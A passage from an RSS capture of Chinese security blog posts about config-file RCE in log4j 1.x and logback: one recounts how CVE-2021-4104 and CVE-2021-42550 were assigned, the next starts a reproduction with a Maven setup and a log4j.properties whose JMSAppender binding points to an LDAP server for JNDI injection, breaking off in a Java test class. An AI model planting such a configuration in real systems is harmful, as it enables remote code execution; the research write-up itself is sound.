src="https://wechat2rss.xlab.app/img-proxy/?k=73fac664&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kS4kSNvytBnhrhibG1vHzhRFuhSATkYlgAah2JzNTwZ8EkA2ywibL7BuA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">嘘……</span></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">圈内人士嘘声一片……</span></p><p style="margin: 0px 0px 1.2em !important;">修改配置文件 RCE？？就这就这？？？</p><p style="margin: 0px 0px 1.2em !important;">那么修改配置文件来RCE到底是怎么“流行”起来的呢？</p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">因</h2><p style="margin: 0px 0px 1.2em !important;">这件事还要从 Log4j 2 的 RCE 说起</p><p style="margin: 0px 0px 1.2em !important;">在log4j2 的 GitHub项目有个 Pull：</p><p style="margin: 0px 0px 1.2em !important;"><a href="https://github.com/apache/logging-log4j2/pull/608" target="_blank">https://github.com/apache/logging-log4j2/pull/608</a><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">一位叫“TopStreamsNet”的老外提到：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6390658174097664" data-s="300,640" style="" data-type="png" data-w="1884" src="https://wechat2rss.xlab.app/img-proxy/?k=8298698e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kDH0XWrQ1bAUqe6CTVdqP31JDjXPibFTEaHgLhnRNakxFwhR43lkMnpA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;">如果您查看 jndi 在 1.x 中的工作方式，您会发现有两个地方可以完成查找 - 即 JMSAppender.java:207 和 JMSAppender.java:222 - 如果您将 TopicBindingName 或 TopicConnectionFactoryBindingName 设置为 JNDI 可以处理的内容 - 例如“ldap://host:port/a”JNDI 将做与 2.x 完全相同的事情 - 所以 1.x 是易受攻击的，只是攻击向量“更安全”，因为它取决于配置而不是用户 输入</p></blockquote><p><br/></p><p style="margin: 0px 0px 1.2em !important;">然后通过配置文件 RCE 的这件事就开始讨论起来了</p><p style="margin: 0px 0px 1.2em !important;">特别是 Log4j2 的作者回复到：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5081081081081081" data-s="300,640" style="" data-type="png" data-w="1850" src="https://wechat2rss.xlab.app/img-proxy/?k=b5a0a3fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kich2FOCCj3YPDTqjtcWhRVDnNgjUI7meDoMJLTZ21E2ZiaEibfHK3JFfg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;">如果攻击者可以修改某个系统 S 上的配置文件，那么可以假设 S 已经被很大程度地渗透了。<br/>如果攻击者可以修改 log4j.properties (log4j 1.x)，她就不需要下载恶意代码，她可以轻松地将恶意类文件放在类路径中并让它们执行。<br/>因此，在非常严格的意义上，log4j 1.x 中存在漏洞，但与日志参数引起的 RCE 没有任何关系。</p></blockquote><p><br/></p><p style="margin: 0px 0px 1.2em !important;">实际上可以看得出来，Log4j2 的作者一开始并不认同这个老外的观点，但有意思的来了</p><p style="margin: 0px 0px 1.2em !important;">就在大家认为这个“漏洞”不是漏洞的时候，RadHat 出来作妖了：</p><p style="margin: 0px 0px 1.2em !important;"><a href="https://access.redhat.com/security/cve/CVE-2021-4104" target="_blank">https://access.redhat.com/security/cve/CVE-2021-4104</a></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7745098039215687" data-s="300,640" style="" data-type="png" data-w="1632" src="https://wechat2rss.xlab.app/img-proxy/?k=eab65310&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6klcibxl4OR4pVVaNGn0YvibauGOiabSvsVPvblzFUia646iaNhn3I6RduTtA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">他们把这个由配置文件引起的 RCE 定义为漏洞，并且给了cvss v3 7.5的中危评分！</p><p style="margin: 0px 0px 1.2em !important;">然后有人又在 log4j2 那个 pull 下面回复了：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.14603174603174604" data-s="300,640" style="" data-type="png" data-w="1890" src="https://wechat2rss.xlab.app/img-proxy/?k=b74bb4b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kQe2yn48dOxbOD442aEBcIKHfgrAJiaDWBsPiaUowa1icNEBd819VaVtQg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">路人：看，你看，RedHat 发了一个 CVE，而且还是7.5的评分！（实际上一开始给了 8.0）<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">当然，也有人回复到：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.11657754010695187" data-s="300,640" style="" data-type="png" data-w="1870" src="https://wechat2rss.xlab.app/img-proxy/?k=1f3889c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kAibBicH5jXibZTagrKYrmbgLjzdxxsu5coYkKoIIEW9V0biclsIhVTaMxw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">路人：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">TMD，ReaHat 你不懂规矩，不讲武德，人家 log4j 官方都没发话呢，你出来搞什么事情</span></p><p style="margin: 0px 0px 1.2em !important;">后来迫于压力下，log4j 认了这个 CVE</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.321701199563795" data-s="300,640" style="" data-type="png" data-w="1834" src="https://wechat2rss.xlab.app/img-proxy/?k=b29c0b44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kFxiaJBaXzpeWW0Cw8lUwtf7IiaBgBia6D2u7eIBvRv34NkFFrQyQibuicAQ%2F640%3Fwx_fmt%3Dpng"/></p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;">我们决定保留 Red Hat 分配的 CVE，以节省创建另一个并拒绝他们的 CVE。</p></blockquote><p style="margin: 0px 0px 1.2em !important;">log4j 官方：行了行了，我认，我认还不行吗</p><p style="margin: 0px 0px 1.2em !important;">至此，由log4j 在 pull 上讨论出的第一个 由配置文件引发 RCE的 CVE 被 RedHat折腾出来了<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">果</h2><p style="margin: 0px 0px 1.2em !important;">在log4j1 这个 CVE 发布前，实际上我就对“TopStreamsNet”这位老外提出的看法进行了研究：</p><p style="margin: 0px 0px 1.2em !important;"> log4j 1.x 与 logback 的鸡肋RCE讨论：</p><p style="margin: 0px 0px 1.2em !important;"><a href="https://www.cnpanda.net/sec/1131.html" target="_blank">https://www.cnpanda.net/sec/1131.html</a></p><p style="margin: 0px 0px 1.2em !important;">并且我发现实际上log4j 1.x 的配置文件 RCE 并不能立刻生效，因为修改 log4j 1.x 的配置文件需要重新加载后才可以生效，在生产环境下谁闲着没事主动重启或者重新加载配置文件？</p><p style="margin: 0px 0px 1.2em !important;">但 logback 不太一样，因为 logback 有个 <strong>scan</strong> 属性，可以自动扫描配置文件是否发生了改变，如果发生了改变，那么就会自动更新配置文件。所以研究的时候写了一个 SpringBoot 的演示Demo 发到了 GitHub 上。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">凑巧的是，在 logback 的官方 issue 上看到一个提问，大意是 logback 中是否存在RedHat 发布的那个漏洞，然后我回复了之前那个SpringBoot 演示 Demo 的地址，后来 logback的作者也给分配了CVE-2021-42550，还发邮件问我要不要 credit</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2553191489361702" data-s="300,640" style="" data-type="png" data-w="1410" src="https://wechat2rss.xlab.app/img-proxy/?k=3fd87aaf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kibhSTLIDhZVqBXUbFVSKJYzt0ShnFfYoE1lPsfTpVLHVdHUOrOMmKEQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">老外还是热心的，但是我觉得这漏洞本身限制很大很鸡肋，而且 <strong>@香依香偎</strong> 师傅在一年前就提出了这个利用方式：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;"><a href="https://xz.aliyun.com/t/7351" target="_blank">https://xz.aliyun.com/t/7351</a></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">所以我拒绝了credit。</span><br/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">后来通过 <strong>@TiGer</strong> 师傅得知这个 logback 漏洞实际上出现过实际例子的利用：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5847989949748744" data-s="300,640" style="" data-type="png" data-w="1592" src="https://wechat2rss.xlab.app/img-proxy/?k=51ed7a5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kHMicNGUqoxyKV4JeXbHXvEVYmiagHXcz4TBQGdpO0uMUQic0W8ZIpibEzA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">可以参考：<a href="https://www.cnblogs.com/zpchcbd/p/15542705.html" target="_blank">https://www.cnblogs.com/zpchcbd/p/15542705.html</a><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">总结</h2><p style="margin: 0px 0px 1.2em !important;">回过头来看看这个log4j 2.17.0 的配置文件 RCE，确实有点离谱，因为修改完配置文件后，它不像 logback 一样可以实时生效，属于鸡肋中的鸡肋了。</p><p style="margin: 0px 0px 1.2em !important;">实际上 @pwntester 大神也说了：</p><p><img class="rich_pages wxw-img" data-ratio="0.5632377740303541" data-s="300,640" style="" data-type="png" data-w="1186" src="https://wechat2rss.xlab.app/img-proxy/?k=787eaec2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6k66aQSYCMicEALG0O9scIXGhmnzd1HPzIFg8XnX8MCVqlXOJZ2ju5ZYw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><img class="rich_pages wxw-img" data-ratio="0.5919439579684763" data-s="300,640" style="" data-type="png" data-w="1142" src="https://wechat2rss.xlab.app/img-proxy/?k=4e96b09b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kBoP2ueVHMoTuLj0bSPqnOgK5n0Z1LoshaqFH176WrnxniapUlFEGGxg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;">大多数使用数据库的 Java 应用程序都有配置文件，您可以在其中指定 JNDI 地址以获取 JDBC 数据源</p></blockquote><p><br/></p><p style="margin: 0px 0px 1.2em !important;">简单搜索发现，可以通过 JNDI设置配置文件的部分应用如下：</p><p style="margin: 0px 0px 1.2em !important;"><strong>jetty</strong><br/><a href="https://wiki.eclipse.org/Jetty/Feature/JNDI#Configuring_JMS_Queues.2C_Topics_and_ConnectionFactories" target="_blank">https://wiki.eclipse.org/Jetty/Feature/JNDI#Configuring_JMS_Queues.2C_Topics_and_ConnectionFactories</a><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;"><strong>Apache ODE</strong><br/><a href="https://ode.apache.org/using-a-jndi-datasource-under-servicemix-jbi.html" target="_blank">https://ode.apache.org/using-a-jndi-datasource-under-servicemix-jbi.html</a></p><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Apache Shrio</strong><br/></p><p style="margin: 0px 0px 1.2em !important;"><a href="https://shiro.apache.org/static/1.3.2/apidocs/org/apache/shiro/jndi/JndiTemplate.html" target="_blank">https://shiro.apache.org/static/1.3.2/apidocs/org/apache/shiro/jndi/JndiTemplate.html</a><br/><a href="https://www.programmerall.com/article/1371213168/" target="_blank">https://www.programmerall.com/article/1371213168/</a><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;"><strong>Tomcat</strong><br/><a href="https://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.html" target="_blank">https://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.html</a><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;"><strong>TomEE </strong><br/><a href="https://tomee.apache.org/jndi-names.html" target="_blank">https://tomee.apache.org/jndi-names.html</a><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;"><strong>SpringBoot</strong><br/><a href="https://blog.roncoo.com/article/133919" target="_blank">https://blog.roncoo.com/article/133919</a></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">等等等</p><p style="margin: 0px 0px 1.2em !important;">太多太多了，实际上正如@pwntester说的那样，JNDI 类似于在一个中心注册一个东西，以后要用的时候，只需要根据名字去注册中心查找，注册中心返回你要的东西。比如在 web应用中，我们可以将一些东西（最常用的就是数据库相关的配置信息）交给服务器软件去配置和管理，在程序代码或者配置文件中只要通过名称查找就能得到我们注册的东西，而且如果注册的东西有变，比如更换了数据库，我们只需要修改注册信息，名称不改，因此代码也不需要修改。</p><p style="margin: 0px 0px 1.2em !important;">这是SUN公司提供的一种<strong>标准的Java命名系统接口</strong>，是一种<strong>特性</strong>，因此一般来说，只要存在 JNDI 的地方，都能够利用 ldap 协议去实现 RCE，当然，不仅仅是 ldap 协议，实际上还有很多可用的协议：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6012861736334405" data-s="300,640" style="" data-type="png" data-w="622" src="https://wechat2rss.xlab.app/img-proxy/?k=6f48b0fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrOia6zKRWagiaDFwZwNicHX6kRQ7BicalmD1PlJkBpAY8OOoxGXrKm9Qicn3qiaqTf3MMdUzFOd8GGeRlw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">总之，我认为log4j 2.17.0这个 CVE，分配了就算了，但过分的是，这老外还好意思发表在推特上来说log4j 2.17.0又出 RCE 漏洞（刷洞就刷洞，还吆喝一嗓子，结果还是这漏洞，不是让别人像吃了屎一样难受吗）<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;">一句话总结：<strong>通过配置文件来实现 RCE，只能说是一种攻击手段，而不能说是一种常规漏洞。</strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p>



<p><a href="2247484028">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f542a561&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247484028%26idx%3D1%26sn%3D5748c6b75530a786f1bf0622616413c6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Dec 2021 11:36:00 +0800</pubDate>
    </item>
    <item>
      <title>log4j 1.x 与 logback 的鸡肋RCE讨论</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247484011&amp;idx=1&amp;sn=208a34b10d9074fb25579a91123ca5f4</link>
      <description>关于log4j1.x 和 logback 的鸡肋 RCE 讨论</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-12-13 09:10</span> <span style="display: inline-block;"></span>
</p>

<p>关于log4j1.x 和 logback 的鸡肋 RCE 讨论</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6c7af4f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2j1O2O41cArMyRvpKOmlSazhjfFYGzHrPBdRHLQZwXtFlT9Il6t13NKA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">0x01 写在前面</h2><p style="margin: 0px 0px 1.2em !important;">对 log4j2 漏洞的后续研究中，发现一些有趣的东西，记录分享一下</p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">0x02 log4j 真的在任何情况不存在 JNDI注入吗？</h2><p style="margin: 0px 0px 1.2em !important;">首先提出一个问题，<strong>log4j 真的在任何情况不存在 JNDI注入吗？</strong></p><p style="margin: 0px 0px 1.2em !important;">答案是否定的。</p><p style="margin: 0px 0px 1.2em !important;">翻阅 Log4j2 的 pull request 发现一个有意思的对话：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.45869565217391306" data-s="300,640" style="" data-type="png" data-w="1840" src="https://wechat2rss.xlab.app/img-proxy/?k=ff1f8aa2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqFmp13ibvWEh1RePuSUZh2jvNfdt4VQic7GLXAbnFkWZ9DunruFm3zLk53LF5XdwY9EC2NWPHy0UCQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">有人提出实际上 log4j 和 log4j2 一样易受攻击的，只不过与 log4j2 相比，Log4j 的攻击向量“更安全”</span><br/></p><p style="margin: 0px 0px 1.2em !important;">因为 Log4j 的攻击入口点是其配置文件，而 log4j2 的攻击入口点是用户的输入</p><p style="margin: 0px 0px 1.2em !important;">那么实际上如何呢？经过我简单测试，发现修改 log4j 的配置文件确实会导致漏洞的产生，但要求要比pull reques中所说的更苛刻。</p><h3 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.3em;">案例1 -  log4j  配置文件中 JMSAppender 的 RCE</h3><p style="margin: 0px 0px 1.2em !important;">首先在 maven 中添加以下依赖：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependencies</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>log4j<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>log4j<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>1.2.17<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">groupId</span>&gt;</span>org.apache.activemq<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">groupId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">artifactId</span>&gt;</span>activemq-broker<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">artifactId</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">version</span>&gt;</span>5.16.3<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">version</span>&gt;</span>  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependency</span>&gt;</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">dependencies</span>&gt;</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">然后在resource 目录下新建 <strong>log4j.properties</strong> 文件，内容如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">log4j.rootLogger=INFO, <span class="code-snippet__built_in">stdout</span>, jms  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">log4j.logger.org.apache.activemq=INFO, <span class="code-snippet__built_in">stdout</span>  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">log4j.appender.<span class="code-snippet__built_in">stdout</span>=org.apache.log4j.ConsoleAppender  </span></code><code><span class="code-snippet_outer">log4j.appender.<span class="code-snippet__built_in">stdout</span>.layout=org.apache.log4j.PatternLayout  </span></code><code><span class="code-snippet_outer">log4j.appender.<span class="code-snippet__built_in">stdout</span>.layout.ConversionPattern=%d %<span class="code-snippet__number">-5</span>p %c - %m%n  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">log4j.appender.jms=org.apache.log4j.net.JMSAppender  </span></code><code><span class="code-snippet_outer">log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory  </span></code><code><span class="code-snippet_outer">log4j.appender.jms.ProviderURL=tcp:<span class="code-snippet__comment">//localhost:61616  </span></span></code><code><span class="code-snippet_outer">log4j.appender.jms.TopicBindingName=jmsTest</span></code><code><span class="code-snippet_outer">log4j.appender.jms.TopicConnectionFactoryBindingName=ldap:<span class="code-snippet__comment">//127.0.0.1:1389/erqtcd</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">最后新建 <strong>Log4jJMSAppenderTest.java</strong> 文件，内容如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.log4j.Logger;  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.naming.NamingException;  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Log4jJMSAppenderTest</span> </span>{  </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span 